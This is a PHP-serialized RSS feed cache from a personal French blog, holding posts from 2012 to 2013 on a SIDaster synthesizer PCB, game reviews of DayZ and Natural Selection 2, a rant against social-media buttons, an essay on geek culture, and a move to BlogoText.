a:24:{s:15:"20130114_233010";a:7:{s:5:"title";s:17:"SIDaster - Update";s:4:"link";s:68:"http://blog.fullmaj.rd-h.fr/?d=2013/01/14/22/30/10-sidaster---update";s:4:"guid";s:68:"http://blog.fullmaj.rd-h.fr/?d=2013/01/14/22/30/10-sidaster---update";s:7:"pubDate";s:31:"Mon, 14 Jan 2013 22:30:10 +0000";s:11:"description";s:959:"

Happy New Year. The best for 2012.

After one year of silence, SIDaster project revives with the release of the version 4 PCB end of last year, and the first "production" batch realised by the SEEEDStudio team. Much smoother than the original prototype, it also includes the must-have transistor output buffer, and the pushbutton for synth control purpose.

I have 9 of those PCBs available left, drop me an email if you want one.

Expect SW updates soon, as the feature promised one year ago might finally happen...

... soon (cop. Blizzard Entertainment).

SIDaster Project page : http://wiki.fullmaj.rd-h.fr/doku.php?id=sidaster

";s:7:"content";s:959:"

Happy New Year. The best for 2012.

After one year of silence, SIDaster project revives with the release of the version 4 PCB end of last year, and the first "production" batch realised by the SEEEDStudio team. Much smoother than the original prototype, it also includes the must-have transistor output buffer, and the pushbutton for synth control purpose.

I have 9 of those PCBs available left, drop me an email if you want one.

Expect SW updates soon, as the feature promised one year ago might finally happen...

... soon (cop. Blizzard Entertainment).

SIDaster Project page : http://wiki.fullmaj.rd-h.fr/doku.php?id=sidaster

";s:7:"dateiso";s:15:"20130114_233010";}s:15:"20121207_172333";a:7:{s:5:"title";s:25:"Ce soir, au Dan Racing...";s:4:"link";s:72:"http://blog.fullmaj.rd-h.fr/?d=2012/12/07/16/23/33-ce-soir-au-dan-racing";s:4:"guid";s:72:"http://blog.fullmaj.rd-h.fr/?d=2012/12/07/16/23/33-ce-soir-au-dan-racing";s:7:"pubDate";s:31:"Fri, 07 Dec 2012 16:23:33 +0000";s:11:"description";s:125:"

21h30 - Concert de "The Pope And The Cardinals"

Venez nous écouter !

Rock&load - V

";s:7:"content";s:125:"

21h30 - Concert de "The Pope And The Cardinals"

Venez nous écouter !

Rock&load - V

";s:7:"dateiso";s:15:"20121207_172333";}s:15:"20121126_084507";a:7:{s:5:"title";s:27:"Ce blog n’est pas social.";s:4:"link";s:74:"http://blog.fullmaj.rd-h.fr/?d=2012/11/26/13/37/07-ce-blog-nest-pas-social";s:4:"guid";s:74:"http://blog.fullmaj.rd-h.fr/?d=2012/11/26/13/37/07-ce-blog-nest-pas-social";s:7:"pubDate";s:31:"Mon, 26 Nov 2012 07:45:07 +0000";s:11:"description";s:4881:"

Vous ne trouverez aucun bouton pour aimer ce blog sur les réseaux sociaux, pour partager ses bouillons de défections cérébrales avec d’autres socialisants de l’ère des grands gang-bangs @ 128 signes. Ce n’est ni un oubli, ni une fainéantise : c’est un choix. Et en voici les deux raisons fondamentales :

1 – Dans le fond, on s’en bat les couilles.
Trois heures, c’est la durée de vie moyenne d’un jet de bile sur les deux mastodontes sociaux. C’est ridiculement peu. Donc on s’en fout.

Quand Timo fait son top 20 des recherches web, qu’est ce qui ressort ? Que même chez un type qui est beaucoup lu et respecté, c’est avant tout pour tout le savoir qu’il transfère et ce qu’il a fait avec ses petites mains qu’on le lit. Le top 20 le démontre allègrement : blogotext, les tutoriaux, les trucs et astuces et les explications scientifiques ont la plus grande visibilité. Ce qu’il pense est nettement moins mis en avant. Cela ne l’empêche pas de poster des réflexions plus personnelles et des coups de tête, mais dans le fond, on s’en fout.
Mon top 3 couvre des articles techniques sur Arduino, l’analyse linguistique de l’expression « Roxxer du Poney » et comment piloter le chip MOS 6581 « SID » pour en faire un synthé audio. Mon point de vue, on s’en fout.

Par contre, le sens de l’expression « Roxx du Poney », c’est fondamental. Et c’est 28% du traffic du blog sur 2012 !

Cette vue d’esprit explique le rejet du concept de « réseaux sociaux » : autant tenir un blog est une activité hautement gratifiante car faisant travailler des aptitudes comme le sens de la rédaction et la synthèse, tenir un flux de réseau social est sensiblement moins valorisant, car y produire des éléments de transmission de savoir est impossible dans un cadre limité à quelques caractères, de surcroît sans durée de vie suffisante pour porter un message bien loin.

Je me demande d’ailleurs quel intérêt il peut y avoir à archiver un flux RSS de réseau social, à part peut-être l’idée de monter une archive personnelle. Une tranche de vie d’interjections @ 128 signes peut être intéressante à re-parcourir dans le cadre d’une introspection psychanalytique.

2 – La following attitude, pénibilité moderne.
Si vous aussi vous utilisez Ghrostery alors vous connaissez l’effet sapin de noel : débarquer sur un blog et voir un chapelet de social-patates apparaître en haut à droite du navigateur. Pléthore de boutons vous invitent à « follower », à devenir « ami » ou à ouvrir un compte « social » pour discuter. Ce bordel 2.0 est illisible et abscons.

Puisque c’est en plein dans mon actualité, amusez-vous comme moi à chercher des vidéos tutoriel sur Youtube concernant l’excellent jeu Natural Selection 2. Dans toutes, TOUTES les vidéos, les auteurs commencent, et finissent, par un discours mièvreux :

C’était une vidéo de Machin. Si vous avez aimé cette vidéo :
• Cliquer sur Aimer la vidéo
• Commenter la vidéo
• Abonnez-vous à la chaîne Youtube
• Aller sur le facebook
• Follower le twitter
• + sur Google Plus

Cette ridicule débauche d’abjurations sonne comme autant de prières adressées au spectateur pour obtenir sa miséricorde. La substantifique moelle du savoir est noyée dans un flot de mendicité réseau-sociale nauséabond, qui sent l’autosatisfaction et la bataille des chiffres. Comme si exister était avant tout avoir des followers. Comme si le but recherché était non pas de transmettre un message, mais d’avoir le plus grand nombre de receveurs. Et le message, alors ?

La guerre fratricide que la notoriété a remporté sur la légitimité dans les médias «traditionnels » a un écho de plus sur le net.

Le social-marketing ne me touche pas, le besoin de visiteurs est bien moins grand que le réel, tangible et compulsif désir de mettre en mots ce qui me passe par la tête, de partager les résultats de mes travaux personnels, aussi simplistes soient-ils, avec les raccourcis et les inepties dues à mon point de vue partial, ma plume bancale et mes conclusions incomplètes.

Si vous avez aimé ce billet, alors vous avec aimé ce billet. C’est beaucoup plus simple.

";s:7:"content";s:4881:"

Vous ne trouverez aucun bouton pour aimer ce blog sur les réseaux sociaux, pour partager ses bouillons de défections cérébrales avec d’autres socialisants de l’ère des grands gang-bangs @ 128 signes. Ce n’est ni un oubli, ni une fainéantise : c’est un choix. Et en voici les deux raisons fondamentales :

1 – Dans le fond, on s’en bat les couilles.
Trois heures, c’est la durée de vie moyenne d’un jet de bile sur les deux mastodontes sociaux. C’est ridiculement peu. Donc on s’en fout.

Quand Timo fait son top 20 des recherches web, qu’est ce qui ressort ? Que même chez un type qui est beaucoup lu et respecté, c’est avant tout pour tout le savoir qu’il transfère et ce qu’il a fait avec ses petites mains qu’on le lit. Le top 20 le démontre allègrement : blogotext, les tutoriaux, les trucs et astuces et les explications scientifiques ont la plus grande visibilité. Ce qu’il pense est nettement moins mis en avant. Cela ne l’empêche pas de poster des réflexions plus personnelles et des coups de tête, mais dans le fond, on s’en fout.
Mon top 3 couvre des articles techniques sur Arduino, l’analyse linguistique de l’expression « Roxxer du Poney » et comment piloter le chip MOS 6581 « SID » pour en faire un synthé audio. Mon point de vue, on s’en fout.

Par contre, le sens de l’expression « Roxx du Poney », c’est fondamental. Et c’est 28% du traffic du blog sur 2012 !

Cette vue d’esprit explique le rejet du concept de « réseaux sociaux » : autant tenir un blog est une activité hautement gratifiante car faisant travailler des aptitudes comme le sens de la rédaction et la synthèse, tenir un flux de réseau social est sensiblement moins valorisant, car y produire des éléments de transmission de savoir est impossible dans un cadre limité à quelques caractères, de surcroît sans durée de vie suffisante pour porter un message bien loin.

Je me demande d’ailleurs quel intérêt il peut y avoir à archiver un flux RSS de réseau social, à part peut-être l’idée de monter une archive personnelle. Une tranche de vie d’interjections @ 128 signes peut être intéressante à re-parcourir dans le cadre d’une introspection psychanalytique.

2 – La following attitude, pénibilité moderne.
Si vous aussi vous utilisez Ghrostery alors vous connaissez l’effet sapin de noel : débarquer sur un blog et voir un chapelet de social-patates apparaître en haut à droite du navigateur. Pléthore de boutons vous invitent à « follower », à devenir « ami » ou à ouvrir un compte « social » pour discuter. Ce bordel 2.0 est illisible et abscons.

Puisque c’est en plein dans mon actualité, amusez-vous comme moi à chercher des vidéos tutoriel sur Youtube concernant l’excellent jeu Natural Selection 2. Dans toutes, TOUTES les vidéos, les auteurs commencent, et finissent, par un discours mièvreux :

C’était une vidéo de Machin. Si vous avez aimé cette vidéo :
• Cliquer sur Aimer la vidéo
• Commenter la vidéo
• Abonnez-vous à la chaîne Youtube
• Aller sur le facebook
• Follower le twitter
• + sur Google Plus

Cette ridicule débauche d’abjurations sonne comme autant de prières adressées au spectateur pour obtenir sa miséricorde. La substantifique moelle du savoir est noyée dans un flot de mendicité réseau-sociale nauséabond, qui sent l’autosatisfaction et la bataille des chiffres. Comme si exister était avant tout avoir des followers. Comme si le but recherché était non pas de transmettre un message, mais d’avoir le plus grand nombre de receveurs. Et le message, alors ?

La guerre fratricide que la notoriété a remporté sur la légitimité dans les médias «traditionnels » a un écho de plus sur le net.

Le social-marketing ne me touche pas, le besoin de visiteurs est bien moins grand que le réel, tangible et compulsif désir de mettre en mots ce qui me passe par la tête, de partager les résultats de mes travaux personnels, aussi simplistes soient-ils, avec les raccourcis et les inepties dues à mon point de vue partial, ma plume bancale et mes conclusions incomplètes.

Si vous avez aimé ce billet, alors vous avec aimé ce billet. C’est beaucoup plus simple.

";s:7:"dateiso";s:15:"20121126_084507";}s:15:"20121122_112350";a:7:{s:5:"title";s:62:"Des Zombies, des Blasters, des haricots en boite et des Aliens";s:4:"link";s:111:"http://blog.fullmaj.rd-h.fr/?d=2012/11/22/10/23/50-des-zombies-des-blasters-des-haricots-en-boite-et-des-aliens";s:4:"guid";s:111:"http://blog.fullmaj.rd-h.fr/?d=2012/11/22/10/23/50-des-zombies-des-blasters-des-haricots-en-boite-et-des-aliens";s:7:"pubDate";s:31:"Thu, 22 Nov 2012 10:23:50 +0000";s:11:"description";s:7984:"

Comme un retour dans les années 90, mes soirées d’hiver 2012 sont riches en survival horror shows, à base d’aliens ou de zombies, de blasters ou de Lee Enfield. Ce sont pas des films mais des jeux, et les deux titres concernés, outre leur originalité et leur impitoyable gameplay, ont en commun le fait d’être tous deux des mods de titres bien connus. Petit focus partial(*) sur DayZ, le realistic survival horror FPS, et Natural selection II, le second opus du mod pour Half Life ayant amené le concept de Real Time Stragegy-FPS.

DayZ : Realisme fictionDZ.jpeg

DayZ est un mod de Arma II de Bohemia Interactive, ou l’on se retrouve naufragé débarquant sur la côte de Chernarus, une région fictive « balcanique » aux consonnances très slaves. Toute la population locale a été décimée, et remplacée par des zombies à la vision défaillante et l’ouie fine. L’objectif est de survivre, de trouver de la nourriture, de l’eau et de l’équipement.

Pour bien présenter DayZ, il faudrait rapidement présenter son histoire.

Arma et Arma II sont des titres à ambition de simulation. Fiers héritiers de Operation Flahspoint, ces jeux proposent un réalisme hors du commun, avec une interface austère et un gameplay reboutant. La fatigue, les tremblements, l’essoufflement sont autant de paramètres qui renforcent la simulation. Pas de barre de vie, mais une vision qui se trouble et devient de plus en plus monochronme au fur et à mesure que la santé de votre joueur diminue.

DayZ exploite ce réalisme : l’idée géniale de son créateur Dean Hall est de poser les bases d’un survival horror avec des zombies « réalistes ». Cet ancien militaire Néo-Zélandais propose une expérience de jeu terriblement efficace : les Z rampent, grouillent, vous frappent quand ils vous détectent, bref sont aussi bêtes que nombreux. Ce réalisme rend le jeu incroyablement immersif, et infiniment flippant. Le directeur de Bohemia interactive lui-même adment volontiers que DayZ est une expérience de jeu à lui tout seul. Et honnètement, à côté, les caves de Minecraft et les petites peurs des grottes, c’est du flambi.

Apparaître dans Dayz, c’est débarquer sur la côte, avec juste une lampe torche, un sac à dos, deux pansements et une boite d’aspirine. A pas de loup, il vous faudra vous approcher des maisons pour y trouver de quoi survivre. Avec un peu de chance, vous trouverez une hache ou une carabine pour faire face aux "Z". Il vous faudra ramper pour ne pas être vu, et s’ils vous voient et vous pourchassent… courrez ! Car une seule baffe de Zombie peut vous faire tomber dans le coma. S’ils vous touchent, vous saignerez, et vous devrez utiliser un bandage pour stopper l’hémorragie. Sans parler du zombie qui vous fracture la jambe : vous voila à terre, assistant au festin de vos hôtes… Vous venez de trouver une carabine ? Et vous avez la chance d’avoir trouvé un chargeur avec ? Soyez prudents : tirer c’est alerter tous les zombies aux alentours. Sans compter que les munitions sont rares, et qu’il faut en user avec parcimonie. Vos premières heures de jeu seront dures, pénibles, pleines de morts atroces et de courses dans les sapins pour « semer » vos poursuivants.

Vous allez avoir peur.

DayZ vous apprend à compter vos munitions, à ne tirer qu’en cas de nécessité, à avoir peur et à accepter la violence des situations ou l’on meurt connement.

Car en plus de zombies, sur chaque serveur, vous allez croiser d’autres survivants. Et ceux-ci seront une seconde menace à gérer. Ils ont le meme objectif que vous : survivre. Et vous allez retrouver toute la grandeur de l’espèce humaine avec ce qu’il y a de plus bestial : ne faites confiance à personne. Combien de fois me suis-je fait abattre dans le dos par un joueur qui m’a abordé en criant « I’m friendly ! » ? Les survivants vont devenir une plaie au fur et à mesure que vous saurez maitriser les zombies, car ceux-ci sont plus fourbes et leurs intentions aussi diverses que les palettes de couleurs d’un nuancier.

DayZ a déclenché les sensations les plus fortes que j’ai pu éprouver devant un jeu vidéo, mes plus forts battements de cœur vidéoludiques. Il m’a fait réfléchir sur moi-même, sur ma forte propension à la panique et à la peur en situation de crise, il m’a fait réfléchir sur l’espèce humaine et son incroyable talent à faire le mal quand les intentions sont bonnes. Il a déclenché des fous rires énormes, quand deux joueurs se toisent, et finissent par devenir complices par immersion. Pour finir, et c’est un point important, j’ai eu beaucoup de mal à y jouer seul.

Car seul, ce jeu est vraiment, vraiment trop flippant.

Ne serait-ce qu’à 2, avec le simple fait de pouvoir communiquer, le stress s'estompe. A jouer en groupe, ce qui n’enlève rien au plaisir, au contraire !

Bref, DayZ n’est pas qu’un jeu, c’est une expérience introspective terrifiante, ou vous étés confronté à un monde post-apocalyptique zombifié. Et vous n’êtes pas seul.

Natural Selection II : Darlose, or winNS2.jpeg

Autre Mod, autre style, mais tout aussi spécial et unique : digne héritier de Natural Selection premier du nom, le second opus débarque cet hiver sur steam. Reprenant les mécanismes de son prédécesseur tout en héritant des évolutions d'un moteur tout neuf et spécifique, il digère proprement les 10 ans d’expérience de l’équipe originale.

NS2 est un FPS asymétrique opposant des aliens, les Kharaa, aux space marines. Le système est assez classique au genre : des cartes de taille moyenne avec un spawn par équipe de chaque côté. Toute la profondeur du genre vient du fait qu’un joueur de chaque équipe doit prendre la place de leader, et que ce joueur se voit alors doté d’une interface complètement différence, façon RTS. Il devient le stratège de chaque équipe, donnant des ordres de positionnement, de construction de bâtiment et d’attaque aux troupes au sol.

Une dimension tactique RTS s'ajoute alors à un FPS au gameplay efficace, et rythmé. Cette dualité rend le jeu extrèmement profond : le Leader de chaque dispose d’outils de type waypoint et objectifs pour clairement orienter les troupes dans leur mission. Ces outils gonflent littéralement l’intérêt du genre, car même si les FPS classiques ne se jouent bien que en « stratant » un peu, la notion de leader avec les outils associés décuple la puissance stratégique d’un bon « strateux » et rend le jeu palpitant.

Ayant moins d’expérience sur ce titre, je préfère citer l’article de NoFrag plutôt que de porter jugement hâtivement. Mais globalement, l’asymétrie totale des gameplay Alien/Marine et les importantes combinaisons font que ce titre est, à mes yeux, une bombe avant l’heure.

Bref, l’hiver est là, et les soirées sont déjà bien occupées

(*)partial: cet article est complètement partial, ces deux titres m'ont tapé dans l'oeil et je ne m'attarde pas sur les défauts et bugs de chacun. Non seulement je ne suis pas assez documenté pour prétendre à un avis là dessus, mais en sus la presse spécialisée s'en occupe très bien!

";s:7:"content";s:7990:"

Comme un retour dans les années 90, mes soirées d’hiver 2012 sont riches en survival horror shows, à base d’aliens ou de zombies, de blasters ou de Lee Enfield. Ce sont pas des films mais des jeux, et les deux titres concernés, outre leur originalité et leur impitoyable gameplay, ont en commun le fait d’être tous deux des mods de titres bien connus. Petit focus partial(*) sur DayZ, le realistic survival horror FPS, et Natural selection II, le second opus du mod pour Half Life ayant amené le concept de Real Time Stragegy-FPS.

DayZ : Realisme fictionDZ.jpeg

DayZ est un mod de Arma II de Bohemia Interactive, ou l’on se retrouve naufragé débarquant sur la côte de Chernarus, une région fictive « balcanique » aux consonnances très slaves. Toute la population locale a été décimée, et remplacée par des zombies à la vision défaillante et l’ouie fine. L’objectif est de survivre, de trouver de la nourriture, de l’eau et de l’équipement.

Pour bien présenter DayZ, il faudrait rapidement présenter son histoire.

Arma et Arma II sont des titres à ambition de simulation. Fiers héritiers de Operation Flahspoint, ces jeux proposent un réalisme hors du commun, avec une interface austère et un gameplay reboutant. La fatigue, les tremblements, l’essoufflement sont autant de paramètres qui renforcent la simulation. Pas de barre de vie, mais une vision qui se trouble et devient de plus en plus monochronme au fur et à mesure que la santé de votre joueur diminue.

DayZ exploite ce réalisme : l’idée géniale de son créateur Dean Hall est de poser les bases d’un survival horror avec des zombies « réalistes ». Cet ancien militaire Néo-Zélandais propose une expérience de jeu terriblement efficace : les Z rampent, grouillent, vous frappent quand ils vous détectent, bref sont aussi bêtes que nombreux. Ce réalisme rend le jeu incroyablement immersif, et infiniment flippant. Le directeur de Bohemia interactive lui-même adment volontiers que DayZ est une expérience de jeu à lui tout seul. Et honnètement, à côté, les caves de Minecraft et les petites peurs des grottes, c’est du flambi.

Apparaître dans Dayz, c’est débarquer sur la côte, avec juste une lampe torche, un sac à dos, deux pansements et une boite d’aspirine. A pas de loup, il vous faudra vous approcher des maisons pour y trouver de quoi survivre. Avec un peu de chance, vous trouverez une hache ou une carabine pour faire face aux "Z". Il vous faudra ramper pour ne pas être vu, et s’ils vous voient et vous pourchassent… courrez ! Car une seule baffe de Zombie peut vous faire tomber dans le coma. S’ils vous touchent, vous saignerez, et vous devrez utiliser un bandage pour stopper l’hémorragie. Sans parler du zombie qui vous fracture la jambe : vous voila à terre, assistant au festin de vos hôtes… Vous venez de trouver une carabine ? Et vous avez la chance d’avoir trouvé un chargeur avec ? Soyez prudents : tirer c’est alerter tous les zombies aux alentours. Sans compter que les munitions sont rares, et qu’il faut en user avec parcimonie. Vos premières heures de jeu seront dures, pénibles, pleines de morts atroces et de courses dans les sapins pour « semer » vos poursuivants.

Vous allez avoir peur.

DayZ vous apprend à compter vos munitions, à ne tirer qu’en cas de nécessité, à avoir peur et à accepter la violence des situations ou l’on meurt connement.

Car en plus de zombies, sur chaque serveur, vous allez croiser d’autres survivants. Et ceux-ci seront une seconde menace à gérer. Ils ont le meme objectif que vous : survivre. Et vous allez retrouver toute la grandeur de l’espèce humaine avec ce qu’il y a de plus bestial : ne faites confiance à personne. Combien de fois me suis-je fait abattre dans le dos par un joueur qui m’a abordé en criant « I’m friendly ! » ? Les survivants vont devenir une plaie au fur et à mesure que vous saurez maitriser les zombies, car ceux-ci sont plus fourbes et leurs intentions aussi diverses que les palettes de couleurs d’un nuancier.

DayZ a déclenché les sensations les plus fortes que j’ai pu éprouver devant un jeu vidéo, mes plus forts battements de cœur vidéoludiques. Il m’a fait réfléchir sur moi-même, sur ma forte propension à la panique et à la peur en situation de crise, il m’a fait réfléchir sur l’espèce humaine et son incroyable talent à faire le mal quand les intentions sont bonnes. Il a déclenché des fous rires énormes, quand deux joueurs se toisent, et finissent par devenir complices par immersion. Pour finir, et c’est un point important, j’ai eu beaucoup de mal à y jouer seul.

Car seul, ce jeu est vraiment, vraiment trop flippant.

Ne serait-ce qu’à 2, avec le simple fait de pouvoir communiquer, le stress s'estompe. A jouer en groupe, ce qui n’enlève rien au plaisir, au contraire !

Bref, DayZ n’est pas qu’un jeu, c’est une expérience introspective terrifiante, ou vous étés confronté à un monde post-apocalyptique zombifié. Et vous n’êtes pas seul.

Natural Selection II : Darlose, or winNS2.jpeg

Autre Mod, autre style, mais tout aussi spécial et unique : digne héritier de Natural Selection premier du nom, le second opus débarque cet hiver sur steam. Reprenant les mécanismes de son prédécesseur tout en héritant des évolutions d'un moteur tout neuf et spécifique, il digère proprement les 10 ans d’expérience de l’équipe originale.

NS2 est un FPS asymétrique opposant des aliens, les Kharaa, aux space marines. Le système est assez classique au genre : des cartes de taille moyenne avec un spawn par équipe de chaque côté. Toute la profondeur du genre vient du fait qu’un joueur de chaque équipe doit prendre la place de leader, et que ce joueur se voit alors doté d’une interface complètement différence, façon RTS. Il devient le stratège de chaque équipe, donnant des ordres de positionnement, de construction de bâtiment et d’attaque aux troupes au sol.

Une dimension tactique RTS s'ajoute alors à un FPS au gameplay efficace, et rythmé. Cette dualité rend le jeu extrèmement profond : le Leader de chaque dispose d’outils de type waypoint et objectifs pour clairement orienter les troupes dans leur mission. Ces outils gonflent littéralement l’intérêt du genre, car même si les FPS classiques ne se jouent bien que en « stratant » un peu, la notion de leader avec les outils associés décuple la puissance stratégique d’un bon « strateux » et rend le jeu palpitant.

Ayant moins d’expérience sur ce titre, je préfère citer l’article de NoFrag plutôt que de porter jugement hâtivement. Mais globalement, l’asymétrie totale des gameplay Alien/Marine et les importantes combinaisons font que ce titre est, à mes yeux, une bombe avant l’heure.

Bref, l’hiver est là, et les soirées sont déjà bien occupées

(*)partial: cet article est complètement partial, ces deux titres m'ont tapé dans l'oeil et je ne m'attarde pas sur les défauts et bugs de chacun. Non seulement je ne suis pas assez documenté pour prétendre à un avis là dessus, mais en sus la presse spécialisée s'en occupe très bien!

";s:7:"dateiso";s:15:"20121122_112350";}s:15:"20121112_104044";a:7:{s:5:"title";s:15:"Geeks are Sexy?";s:4:"link";s:65:"http://blog.fullmaj.rd-h.fr/?d=2012/11/12/09/40/44-geeks-are-sexy";s:4:"guid";s:65:"http://blog.fullmaj.rd-h.fr/?d=2012/11/12/09/40/44-geeks-are-sexy";s:7:"pubDate";s:31:"Mon, 12 Nov 2012 09:40:44 +0000";s:11:"description";s:3415:"

Pour commencer ce billet, un lien : http://totaltotaltotal.wordpress.com/2012/10/27/ecoute-moi-bien-espece-de-petasse/

Ce genre d’article m’a fait frémir, comme beaucoup. J’ai adoré le fond et ri bien fort sur la forme, le genre de coup de gueule qui fait du bien.

Un détail m’a fait TILT : le choix de « Woz » comme geek de pure souche. Loin de moi l’idée de contester, au contraire. Cela m’a plutôt fait me poser la question : pourquoi Woz est-il respectable aujourd’hui ? Parce que finalement, tout le monde convient du fait que ce soit aujourd’hui où il y a 20 ans, ce type n’a toujours pas l’air dans le coup. Et il n’est connu que de quelques happy few. Quand bien même sa tenue d’époque soit « hipster », il y a fort à croire que son style vestimentaire était le cadet de ses soucis.

D’autant qu’il est respectable aujourd’hui et apparait dans la série TBBT avec les honneurs, pourquoi n’est-il pas connu du grand public ?

La notion de geek au sens général a muté avec l’avènement de la technologie pour tous : la respectabilité de la notion de geek a grandi en même temps que la progression des PC, smartphones et tablettes dans nos vies. Le sens général donne le titre de « grand » geek à des personnes comme J. Lucas, S. Jobs (sic) ou M. Zuckerberg (re-sic). Cette grandeur a pour vecteur commun le fait que ces messieurs ont mené des entreprises au sommet avec des concepts de geek, et ont changé le monde.

En fait, c’est surtout qu’ils ont fait fortune avec leur passion de geek. D’ailleurs, il n’est pas difficile de faire la tangente : la respectabilité du geek a augmenté en même temps que sa capacité à faire fortune. Les geeks que l’on retient sont ceux qui font le plus d’argent. Mais pas forcément les plus inventifs, créatifs ou ingénieux. Juste les plus fortunés.

Prenons l’exemple récent de l’ami Markus Person. Sa flash-fortune bâtie en 2011 avec un titre indépendant fait rêver les investisseurs les plus fous, et sa façon un peu excentrique de célébrer la montée en puissance de Mojang, ambiance hype « on se fait une Minecon », a fait rêver les journaux de finance. On le présente comme un self-made man ultra respectable, qui va au bout de ses rêves et qui fait un pied de nez aux grands.

A une toute autre échelle, les métiers de l’ingénieur demandent des personnes avec une fibre technologique forte, qui fleurte avec la culture geek dans bien des aspects. Et comme les ingénieurs gagnent de l’argent, ce sont des gendres très respectables.

En fait, rien n’a changé.

Respectabilité = Pognon

Le fait d’être un geek est respecté aujourd’hui uniquement parce que la population sait qu’il fait de la maille. D’ailleurs, les boutiques l’ont bien compris, et se gavent de plus en plus de goodies « techky ».

Geeks are sexy ? Mon cul ouais, Geeks make Money. Ce qui augmente massivement et virtuellement leur respectabilité ET leur sex appeal.

";s:7:"content";s:3415:"

Pour commencer ce billet, un lien : http://totaltotaltotal.wordpress.com/2012/10/27/ecoute-moi-bien-espece-de-petasse/

Ce genre d’article m’a fait frémir, comme beaucoup. J’ai adoré le fond et ri bien fort sur la forme, le genre de coup de gueule qui fait du bien.

Un détail m’a fait TILT : le choix de « Woz » comme geek de pure souche. Loin de moi l’idée de contester, au contraire. Cela m’a plutôt fait me poser la question : pourquoi Woz est-il respectable aujourd’hui ? Parce que finalement, tout le monde convient du fait que ce soit aujourd’hui où il y a 20 ans, ce type n’a toujours pas l’air dans le coup. Et il n’est connu que de quelques happy few. Quand bien même sa tenue d’époque soit « hipster », il y a fort à croire que son style vestimentaire était le cadet de ses soucis.

D’autant qu’il est respectable aujourd’hui et apparait dans la série TBBT avec les honneurs, pourquoi n’est-il pas connu du grand public ?

La notion de geek au sens général a muté avec l’avènement de la technologie pour tous : la respectabilité de la notion de geek a grandi en même temps que la progression des PC, smartphones et tablettes dans nos vies. Le sens général donne le titre de « grand » geek à des personnes comme J. Lucas, S. Jobs (sic) ou M. Zuckerberg (re-sic). Cette grandeur a pour vecteur commun le fait que ces messieurs ont mené des entreprises au sommet avec des concepts de geek, et ont changé le monde.

En fait, c’est surtout qu’ils ont fait fortune avec leur passion de geek. D’ailleurs, il n’est pas difficile de faire la tangente : la respectabilité du geek a augmenté en même temps que sa capacité à faire fortune. Les geeks que l’on retient sont ceux qui font le plus d’argent. Mais pas forcément les plus inventifs, créatifs ou ingénieux. Juste les plus fortunés.

Prenons l’exemple récent de l’ami Markus Person. Sa flash-fortune bâtie en 2011 avec un titre indépendant fait rêver les investisseurs les plus fous, et sa façon un peu excentrique de célébrer la montée en puissance de Mojang, ambiance hype « on se fait une Minecon », a fait rêver les journaux de finance. On le présente comme un self-made man ultra respectable, qui va au bout de ses rêves et qui fait un pied de nez aux grands.

A une toute autre échelle, les métiers de l’ingénieur demandent des personnes avec une fibre technologique forte, qui fleurte avec la culture geek dans bien des aspects. Et comme les ingénieurs gagnent de l’argent, ce sont des gendres très respectables.

En fait, rien n’a changé.

Respectabilité = Pognon

Le fait d’être un geek est respecté aujourd’hui uniquement parce que la population sait qu’il fait de la maille. D’ailleurs, les boutiques l’ont bien compris, et se gavent de plus en plus de goodies « techky ».

Geeks are sexy ? Mon cul ouais, Geeks make Money. Ce qui augmente massivement et virtuellement leur respectabilité ET leur sex appeal.

";s:7:"dateiso";s:15:"20121112_104044";}s:15:"20121106_131315";a:7:{s:5:"title";s:34:"Bye Wordpress, Hello BlogoText 2 !";s:4:"link";s:82:"http://blog.fullmaj.rd-h.fr/?d=2012/11/06/12/13/15-bye-wordpress-hello-blogotext-2";s:4:"guid";s:82:"http://blog.fullmaj.rd-h.fr/?d=2012/11/06/12/13/15-bye-wordpress-hello-blogotext-2";s:7:"pubDate";s:31:"Tue, 06 Nov 2012 12:13:15 +0000";s:11:"description";s:1982:"

Il était grand temps.

Wordpress, je commençais à fatiguer de ta lourdeur. je voulais passer à BT depuis longtemps, sans passer le pas. Et puis avec la 2.0, la transition a été aussi naturelle qu'efficace.

Voici donc le nouveau FULLMAJ, qui reste le blog de mes coups de gueule et coups de coeur. Le Thème est fait main en HTML et CSS. Mon parcours d'apprentissage des langages du Web avance! J'en profite pour remercier chaleureusement Timo, qui n'a pas hésité à répondre à mes questions et grâce à qui FULLMAJ tourne aujourd'hui!

Sur la ligne éditoriale, il y a de moins en moins de DIY. C'est un choix qui illustre le fait que suite à des changements dans ma vie perso, je n'ai ni le temps ni l'espace disponible chez moi pour faire avancer mes projets. Les fouilleurs de wiki sauront dénicher les idées qui me passent par la tête, je regarde toujours autant l'univers du DIY mais produit beaucoup moins qu'avant.

Par contre, il y a de plus en plus de jeu vidéo, étant joueur invétéré depuis ma plus tendre enfance, je m'évertue à garder un oeil attentif et critique sur un milieu qui devient de plus en plus le barycentre des grands groupes industriels, ayant vu dans les univers vidéoludiques le nouvel eldorado à conquérir depuis la chutte annoncée des mannes musicales et vidéo.

J'en profite également pour remercier Sebsauvage, qui m'a inspiré à mettre mes billets d'humeur Facebook sous la forme d'un vrai blog. J'ai fait du chemin depuis!

Bref, nouvelle forme pour un fond qui ne change pas!

Bonne lecture,

V!nce

Note:
Le thème blogotext de Fullmaj baptisé "lightman" est disponible en téléchargement libre sur le wiki.

";s:7:"content";s:1985:"

Il était grand temps.

Wordpress, je commençais à fatiguer de ta lourdeur. je voulais passer à BT depuis longtemps, sans passer le pas. Et puis avec la 2.0, la transition a été aussi naturelle qu'efficace.

Voici donc le nouveau FULLMAJ, qui reste le blog de mes coups de gueule et coups de coeur. Le Thème est fait main en HTML et CSS. Mon parcours d'apprentissage des langages du Web avance! J'en profite pour remercier chaleureusement Timo, qui n'a pas hésité à répondre à mes questions et grâce à qui FULLMAJ tourne aujourd'hui!

Sur la ligne éditoriale, il y a de moins en moins de DIY. C'est un choix qui illustre le fait que suite à des changements dans ma vie perso, je n'ai ni le temps ni l'espace disponible chez moi pour faire avancer mes projets. Les fouilleurs de wiki sauront dénicher les idées qui me passent par la tête, je regarde toujours autant l'univers du DIY mais produit beaucoup moins qu'avant.

Par contre, il y a de plus en plus de jeu vidéo, étant joueur invétéré depuis ma plus tendre enfance, je m'évertue à garder un oeil attentif et critique sur un milieu qui devient de plus en plus le barycentre des grands groupes industriels, ayant vu dans les univers vidéoludiques le nouvel eldorado à conquérir depuis la chutte annoncée des mannes musicales et vidéo.

J'en profite également pour remercier Sebsauvage, qui m'a inspiré à mettre mes billets d'humeur Facebook sous la forme d'un vrai blog. J'ai fait du chemin depuis!

Bref, nouvelle forme pour un fond qui ne change pas!

Bonne lecture,

V!nce

Note:
